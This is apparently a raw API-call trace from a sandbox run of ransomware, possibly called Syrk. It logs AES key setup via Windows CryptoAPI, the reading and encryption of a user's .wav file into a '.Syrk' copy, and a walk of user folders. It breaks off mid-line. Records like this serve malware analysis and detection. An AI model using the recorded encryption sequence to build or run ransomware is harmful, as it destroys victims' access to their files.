0x20 [0244.175] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.175] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0244.176] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.176] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0244.176] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0244.176] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.176] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0244.176] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.176] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0244.176] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0244.176] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.177] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0244.178] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0244.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0244.178] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.178] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0244.178] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0244.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0244.178] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.178] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0244.178] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0244.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0244.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0244.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0244.179] SystemFunction041 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.179] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0244.179] SystemFunction040 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0244.179] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0244.179] SystemFunction041 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.180] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0244.180] SystemFunction040 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.180] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0244.180] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0244.180] SystemFunction041 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.180] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0244.180] SystemFunction040 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.180] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0244.180] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0244.180] SystemFunction041 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.180] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0244.180] SystemFunction040 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0244.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0244.181] SystemFunction041 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.181] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0244.181] SystemFunction040 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0244.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0244.181] SystemFunction041 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.181] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0244.181] SystemFunction040 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0244.181] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0244.181] SystemFunction041 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.182] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0244.182] SystemFunction040 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.182] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0244.182] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0244.182] SystemFunction041 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.182] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0244.182] SystemFunction040 (in: Memory=0x5c9b4cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b4cc) returned 0x0 [0244.182] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0244.182] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0244.182] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0244.183] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0244.183] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0244.183] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0244.183] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0244.183] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0244.183] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0244.183] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0244.183] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0244.183] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0244.183] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0244.183] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0244.183] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0244.184] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0244.184] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0244.184] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0244.184] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0244.184] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0244.184] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0244.184] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0244.184] EtwEventActivityIdControl () returned 0x0 [0244.184] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0244.184] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0244.184] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0244.184] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0244.186] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cd48) returned 1 [0244.188] CryptImportKey (in: hProv=0x5c4cd48, pbData=0x255fc0c*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99760) returned 1 [0244.188] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.188] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.194] EtwEventActivityIdControl () returned 0x0 [0244.194] EtwEventActivityIdControl () returned 0x0 [0244.194] EtwEventActivityIdControl () returned 0x0 [0244.201] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\mt00azhnzyeukluk7wly.wav")) returned 0x20 [0244.202] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\mt00azhnzyeukluk7wly.wav")) returned 0x20 [0244.202] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0244.202] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", lpFilePart=0x0) returned 0x31 [0244.202] EtwEventActivityIdControl () returned 0x0 [0244.202] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.203] EtwEventActivityIdControl () returned 0x0 [0244.203] EtwEventActivityIdControl () returned 0x0 [0244.203] EtwEventActivityIdControl () returned 0x0 [0244.207] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0244.207] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", lpFilePart=0x0) returned 0x31 [0244.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0244.207] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\mt00azhnzyeukluk7wly.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0244.217] GetFileType (hFile=0x454) returned 0x1 [0244.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0244.217] GetFileType (hFile=0x454) returned 0x1 [0244.217] EtwEventActivityIdControl () returned 0x0 [0244.217] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.218] EtwEventActivityIdControl () returned 0x0 [0244.218] EtwEventActivityIdControl () returned 0x0 [0244.218] EtwEventActivityIdControl () returned 0x0 [0244.219] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0244.219] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav.Syrk", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav.Syrk", lpFilePart=0x0) returned 0x36 [0244.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0244.219] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\mt00azhnzyeukluk7wly.wav.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d4 [0244.220] GetFileType (hFile=0x1d4) returned 0x1 [0244.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0244.220] GetFileType (hFile=0x1d4) returned 0x1 [0244.220] EtwEventActivityIdControl () returned 0x0 [0244.220] CryptGenRandom (in: hProv=0x5c4cd48, dwLen=0x10, pbBuffer=0x236e1b8 | out: pbBuffer=0x236e1b8) returned 1 [0244.221] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.222] CryptDuplicateKey (in: hKey=0x5c99760, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c68d00) returned 1 [0244.222] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.222] CryptSetKeyParam (hKey=0x5c68d00, dwParam=0x4, pbData=0x236f4e4*=0x1, dwFlags=0x0) returned 1 [0244.222] CryptSetKeyParam (hKey=0x5c68d00, dwParam=0x1, pbData=0x236f4b0, dwFlags=0x0) returned 1 [0244.222] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.222] EtwEventActivityIdControl () returned 0x0 [0244.223] EtwEventActivityIdControl () returned 0x0 [0244.223] EtwEventActivityIdControl () returned 0x0 [0244.224] EtwEventActivityIdControl () returned 0x0 [0244.224] ReadFile (in: hFile=0x454, lpBuffer=0x237212c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x237212c*, lpNumberOfBytesRead=0x5a2e7d8*=0x14000, lpOverlapped=0x0) returned 1 [0244.226] CryptEncrypt (in: hKey=0x5c68d00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2386144*, pdwDataLen=0x5a2e7cc*=0x14000, dwBufLen=0x14000 | out: pbData=0x2386144*, pdwDataLen=0x5a2e7cc*=0x14000) returned 1 [0244.227] WriteFile (in: hFile=0x1d4, lpBuffer=0x236e294*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x236e294*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0244.228] WriteFile (in: hFile=0x1d4, lpBuffer=0x2387130*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2387130*, lpNumberOfBytesWritten=0x5a2e7b0*=0x13014, lpOverlapped=0x0) returned 1 [0244.230] ReadFile (in: hFile=0x454, lpBuffer=0x237212c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x237212c*, lpNumberOfBytesRead=0x5a2e7d8*=0x3325, lpOverlapped=0x0) returned 1 [0244.230] CryptEncrypt (in: hKey=0x5c68d00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x239a15c*, pdwDataLen=0x5a2e7cc*=0x3320, dwBufLen=0x3320 | out: pbData=0x239a15c*, pdwDataLen=0x5a2e7cc*=0x3320) returned 1 [0244.230] WriteFile (in: hFile=0x1d4, lpBuffer=0x239a15c*, nNumberOfBytesToWrite=0x3320, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x239a15c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x3320, lpOverlapped=0x0) returned 1 [0244.231] ReadFile (in: hFile=0x454, lpBuffer=0x237212c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x237212c*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0244.231] CryptEncrypt (in: hKey=0x5c68d00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x239d488*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x239d488*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0244.231] CryptEncrypt (in: hKey=0x5c68d00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x239d4a4*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x239d4a4*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0244.231] WriteFile (in: hFile=0x1d4, lpBuffer=0x236e294*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x236e294*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0244.231] CloseHandle (hObject=0x1d4) returned 1 [0244.234] CloseHandle (hObject=0x454) returned 1 [0244.234] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.235] EtwEventActivityIdControl () returned 0x0 [0244.235] EtwEventActivityIdControl () returned 0x0 [0244.235] EtwEventActivityIdControl () returned 0x0 [0244.241] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\mt00azhnzyeukluk7wly.wav")) returned 0x20 [0244.243] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0244.243] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\MT00azHNzYeUklUK7WLY.wav", lpFilePart=0x0) returned 0x31 [0244.244] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0244.244] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0244.244] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0244.244] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0244.244] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0244.244] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0244.244] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0244.244] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0244.244] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0244.245] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0244.245] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0244.245] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0244.245] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0244.245] GetFileAttributesW 